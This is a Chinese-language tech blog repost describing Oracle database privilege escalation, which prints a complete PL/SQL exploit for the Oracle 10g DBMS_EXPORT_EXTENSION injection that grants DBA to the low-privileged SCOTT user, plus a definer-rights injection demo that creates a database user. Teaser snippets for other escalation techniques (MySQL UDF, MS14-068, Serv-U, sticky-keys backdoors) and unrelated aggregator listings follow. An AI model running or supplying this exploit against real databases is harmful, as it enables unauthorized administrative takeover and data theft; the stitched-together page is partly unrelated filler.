oracle用户获取datameta权限,Oracle数据库提权(低权限提升至dba)
0x01 Oracle存儲過程”缺陷”
在 Oracle 的存儲過程中,有一個有趣的特點:運行權限。運行權限分為兩種,definer?和 invoker。
definer 為函數創建者的權限,而 invoker 則是當前調用函數的用戶。運行權限在函數創建時就已經被欽定了,默認為 definer。
說白了,如果我們用低權限用戶去運行DBA權限用戶創建的存儲過程,我們在調用時就可以額訪問DBA資源,使用DBA的權限
Oracle 這樣做的初衷,實際上是為了用戶互相訪問資源時,避免用戶憑據的問題。當然也可以將函數的權限定義為 invoker,但需要顯式設置:
create or replace function Whoami return varchar2
AUTHID CURRENT_USER
begin NULL; end;
因為具有這樣的特性,所以當存儲過程函數實現存在缺陷時,安全問題就產生了。
比如下面這里新建一個存儲過程
create or replace procedure SasugaOracle(msg in varchar2)
as
stmt varchar2(255);
begin
stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';
EXECUTE IMMEDIATE stmt;
end;
EXECUTE IMMEDIATE 用于動態執行 SQL 語句。首先使用 DBA 用戶創建該過程并賦予所有人執行權限:
grant execute on SasugaOracle to public;
接著切換到普通用戶,只有 CONNECT 和 RESOURCE 權限,執行存儲過程:
修改一下傳入的參數,這里我們在原命令后新增了一條添加數據庫用戶的命令,這里添加的用戶名為latec0mer
然后我們查詢一下是否存在latec0mer這個用戶,可以看到我們上一條新增的命令是生效的。
類似的,如果 Oracle 的系統函數中存在同樣的缺陷,我們便有機會對其加以利用,提升權限,甚至執行系統命令。
0x02Oracle 10g經典提權漏洞
在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES?函數存在注入漏洞,該函數位于 DBMS_EXPORT_EXTENSION 包中,執行權限隸屬于?sys。
用scott/tiger登陸Oracle,scott 是oracle內建用戶,權限較低,我們就可以利用執行具有高權限的漏洞函數來達到提升數據庫用戶權限的目的。
sqlplus scott/tiger@orcl
查詢scott的當前角色
select * from session_roles;
可以看到scott只有CONNECT和RESOURCE兩個權限較低的角色
利用漏洞執行權限提升
Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/
Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '10.2.0.1.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/
現在我們再來看看權限
成功從普通用戶提權到dba用戶。
ps:經測試,oracle10.2.0.4以上版本沒這個安全漏洞
08提權 系統文件權限和遠程連接IP繞過 安裝后門
大家都知道08權限的系統權限設置很嚴格 ?面對限制IP連接的情況 我們及時拿到system權限 有賬號也上不去這種情況下只能弄shift后門 或者放大鏡了 ?但08權限 在system權限也操作不了系 ...
提權基礎-----mysql-udf提權
1.總結關于udf提權方法 通過弱口令,爆破,網站配置文件等方式得到mysql數據庫帳號密碼,---還要能外連 (1).將udf.dll代碼的16進制數聲明給my_udf_a變量 set @my_ud ...
[原創]IIS提權工具-VBS提權腳本免殺生成器
[原創]添加系統用戶 VBS提權腳本隨機加密生成器[K.8] 2011-05-05 02:42:53|??分類: 原創工具 VBS提權腳本隨機加密生成器[K.8]? Author: QQ吻 QQ:39 ...
PublicCMS 網站漏洞 任意文件寫入并可提權服務器權限
PublicCMS是目前網站系統中第一個采用JAVA架構 TOMCAT+Apcche+Mysql數據庫架構的CMS網站,開源,數據承載量大,可以承載到上千萬的數據量,以及用戶的網站并發可達到上千萬的P ...
第三方提權之serv-u提權
文章比較簡單,只是做一個科普.給一個好朋友的. 倘若口令更改了大家可以去serv-u的目錄(默認路徑:C:\Program Files\Serv-U\)找其配置文件(ServUDaemon.ini), ...
[提權]域內提權神器 MS14-068 完整EXP
可以讓任何域內用戶提升為域管理員 ? ? c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-2 ...
提權案例(一)滲透某asp.net網站通過sql server數據庫public 提權 思路分享
先羅列出sql server 角色用戶的權限 按照從最低級別角色(bulkadmin)到最高級別角色(sysadmin)的順序進行描述:1.bulkadmin:這個角色可以運行BULK INSERT語 ...
kali權限提升之配置不當提權與WCE
kali權限提升之配置不當提權與WCE 1.利用配置不當提權 2.WCE 3.其他提權 一.利用配置不當提權 與漏洞提權相比更常用的方法 在大部分企業環境下,會有相應的補丁更新策略,因此難以通過相應漏 ...
WIN提權總結【本地存檔-轉載】
[ web提權 ] 1.能不能執行cmd就看這個命令:net user,net不行就用net1,再不行就上傳一個net到可寫可讀目錄,執行/c c:\windows\temp\cookies\net1 ...
隨機推薦
用php怎么改文件名
php手冊:bool rename ( string oldname, string newname [, resource context] )嘗試把 oldname 重命名為 newname. 如 ...
Omnithreadlibary學習(2)-IOmniTask異步執行
1.使用 procedure Parallel.Async(task: TProc; taskConfig: IOmniTaskConfig); 匿名委托訪問網站 program main; {$AP ...
python進階1--數據庫支持
數據庫支持 1.連接和游標 1)connect函數,該函數有多個參數,而具體使用那個參數取決于數據庫.--連接數據庫 常用參數: dsn:數據源名稱 user:用戶名 password:用戶密碼 ho ...
Maximum Sum of Digits(CodeForces 1060B)
Description You are given a positive integer?nn. Let?S(x)?be sum of digits in base 10 representation ...
如何查看oracle用戶具有的權限和角色
.查看所有用戶: select * from dba_users; select * from all_users; select * from user_users; .查看用戶或角色系統權限(直接 ...
017 Spark的運行模式(yarn模式)
1.關于mapreduce on yarn 來提交job的流程 yarn=resourcemanager(RM)+nodemanager(NM) client向RM提交任務 RM向NM分配applic ...
innerWidth outerWidth
在jQuery中: 一.width()方法用于獲得元素寬度: 二.innerWidth()方法用于獲得包括內邊界(padding)的元素寬度; 三.outerWidth()方法用于獲得包括內邊界(pa ...
c#直接調用ssis包實現Sql Server的數據導入功能
調用ssis包實現Sql Server的數據導入功能網上已經有很多人討論過,自己參考后也動手實現了一下,上一次筆者的項目中還用了一下這個功能.思前想后,決定還是貼一下增強記憶,高手請54. 1.直接調 ...
node升級后,項目中的node-sass報錯的問題
之前可能因為電腦不知道哪抽風了,在npm build的時候進入就卡在入口的地方,啟動express的時候也會,所以就重裝了一下node 重裝node 其實也不是重裝,就是使用 where node 查 ...
相機姿態估計(Pose Estimation)
(未完待續.....) 根據針孔相機模型,相機成像平面一點的像素坐標p和該點在世界坐標系下的3D坐標P有$p=KP$的關系,如果用齊次坐標表示則有: $$dp=KP$$ 其中d是空間點深度(為了將p的 ...
總結
以上是生活随笔為你收集整理的oracle用户获取datameta权限,Oracle数据库提权(低权限提升至dba)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 揭秘:高考试卷是在监狱印刷的?工人何时才
- 下一篇: 用python画面积图_Python笔记